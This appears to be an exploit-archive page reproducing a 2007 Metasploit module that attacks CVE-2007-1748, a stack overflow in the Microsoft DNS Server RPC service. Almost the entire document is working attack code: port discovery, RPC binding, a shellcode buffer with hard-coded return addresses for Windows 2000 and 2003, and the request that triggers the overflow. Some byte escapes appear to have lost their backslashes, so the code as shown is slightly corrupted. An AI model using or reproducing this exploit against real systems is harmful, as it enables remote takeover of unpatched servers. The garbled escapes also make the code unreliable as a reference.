Home / exploits

PDF

msdns_zonename.rb.txt

Posted on 17 April 2007

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Exploits::Windows::Dcerpc::Microsoft_DNS_RPC_ZoneName < Msf::Exploit::Remote

include Exploit::Remote::DCERPC
include Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name'           => 'Microsoft DNS RPC Service extractQuotedChar() Overflow',
'Description'    => %q{
This module exploits a stack overflow in the RPC interface
of the Microsoft DNS service. The vulnerability is triggered when
a long zone name is supplied that contains escaped characters. This
exploit will NOT work on Windows 2003 SP1 or SP2 if hardware DEP is
enabled.

},
'Author'         => [ 'hdm' ],
'License'        => MSF_LICENSE,
'Version'        => '$Revision$',
'References'     =>
[
['CVE', '2007-1748'],
['URL', 'http://www.microsoft.com/technet/security/advisory/935964.mspx']
],
'Privileged'     => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Payload'        =>
{
'Space'    => 1024,

# The payload doesn't matter, but make_nops() uses these too
'BadChars' => "x00",

'StackAdjustment' => -3500,

},
'Platform'       => 'win',
'Targets'        =>
[
[ 'Windows 2000 SP0-SP4 / Windows 2003 SP0-SP2 English',
{
'Addresses' => # Offsets must not overlap -4 or +9
[
[ 1213, 0x75022ac4 ], # Windows 2000 SP0-SP4 ws2help.dll
[ 1593, 0x7ffc0960 ], # Windows 2003 SP0 ??? (unreliable?)
[ 1633, 0x76a81a60 ], # Windows 2003 SP1-SP2 atl.dll
]
}
],

# WS2HELP.DLL
[ 'Windows 2000 Server SP0-SP4+ English', { 'Off' => 1213, 'Ret' => 0x75022ac4 } ],

# Unknown, probably unreliable
[ 'Windows 2003 Server SP0 English', { 'Off' => 1593, 'Ret' => 0x7ffc0960 } ],

# ATL.DLL (no SafeSEH) (still blocked by hardware DEP)
[ 'Windows 2003 Server SP1-SP2 English', { 'Off' => 1633, 'Ret' => 0x76a81a60 } ],

],
'DisclosureDate' => 'Apr 12 2007',
'DefaultTarget'  => 0 ))

register_options(
[
Opt::RPORT(0)
], self.class)
end

def exploit


# Ask the endpoint mapper to locate the port for us
dport = datastore['RPORT'].to_i
if (dport == 0)

dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_ip_tcp')

if (not dport)
print_status("Could not determine the RPC port used by the Microsoft DNS Server")
return
end

print_status("Discovered Microsoft DNS Server RPC service on port #{dport}")
end

# Connect to the high RPC port
connect(true, { 'RPORT' => dport })
print_status("Trying target #{target.name}...")

# Bind to the service
handle = dcerpc_handle('50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_ip_tcp', [datastore['RPORT']])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")

# Create our buffer with our shellcode first
txt = Rex::Text.rand_text_alphanumeric(8192)
txt[0, payload.encoded.length] = payload.encoded

# Handle multi-return targets
if (target['Addresses'])
target['Addresses'].each do |ent|
off, ret = ent
txt[ off ] = [ret].pack('V')
txt[ off - 4, 2] = "xebx06"
txt[ off + 4, 5] = "xe9" + [ (off+9) * -1 ].pack('V')
end
# Handle single-return targets
else
off = target['Off']
txt[ off ] = [target.ret].pack('V')
txt[ off - 4, 2] = "xebx06"
txt[ off + 4, 5] = "xe9" + [ (off+9) * -1 ].pack('V')
end

req = ''

# Convert the string to escaped octal
txt.unpack('C*').each do |c|
req << "\"
req << c.to_s(8)
end

# Build the RPC stub data
stubdata =
NDR.long(rand(0xffffffff)) +
NDR.wstring(Rex::Text.rand_text_alpha(1) + "x00x00") +

NDR.long(rand(0xffffffff)) +
NDR.string(req + "x00") +

NDR.long(rand(0xffffffff)) +
NDR.string(Rex::Text.rand_text_alpha(1) + "x00")

print_status('Sending exploit...')

begin
response = dcerpc.call(1, stubdata)

if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])
end
rescue ::Exception => e
print_status("Error: #{e}")
end

handler
disconnect
end

end
end

 

TOP